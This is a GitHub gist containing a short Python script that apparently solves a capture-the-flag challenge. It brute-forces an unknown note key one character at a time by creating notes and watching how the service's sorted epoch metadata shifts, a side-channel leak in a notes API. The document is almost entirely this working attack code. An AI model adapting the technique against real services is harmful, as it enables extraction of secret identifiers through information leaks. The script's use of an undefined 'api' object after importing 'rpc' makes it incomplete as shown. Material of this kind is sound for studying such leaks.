Skip to content

Instantly share code, notes, and snippets.

@JMdoubleU
Created June 23, 2018 06:32
Show Gist options
  • Save JMdoubleU/f74b47300d06c2bcf7cb36ec7bae4bc8 to your computer and use it in GitHub Desktop.
Save JMdoubleU/f74b47300d06c2bcf7cb36ec7bae4bc8 to your computer and use it in GitHub Desktop.
import rpc, string
charset = sorted(string.ascii_letters + string.digits)
target = "1528911533" # target note's epoch
key = ['?'] * 128 # actual key length unknown
pos = 0
while pos < len(key):
found = False
for i in range(len(charset)):
# create key attempt using known values + current brute char
tmp_key = key[:]
tmp_key[pos] = charset[i]
tmp_key_str = ''.join(tmp_key).replace('?', charset[0])
# create note with id of key attempt to compare against unknown key
api.resetNotes()
api.createNote('asdf', note_id=tmp_key_str)
tmp_epoch = api.getNote(tmp_key_str)['epoch']
# use new note's epoch index to detect if next char has been found
if api.getNotesMetadata()['epochs'][1] == tmp_epoch:
key[pos] = charset[i - 1]
pos += 1
found = True
print(''.join(key).replace('?', ''))
break
if not found:
print('failed to get next char')
break
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment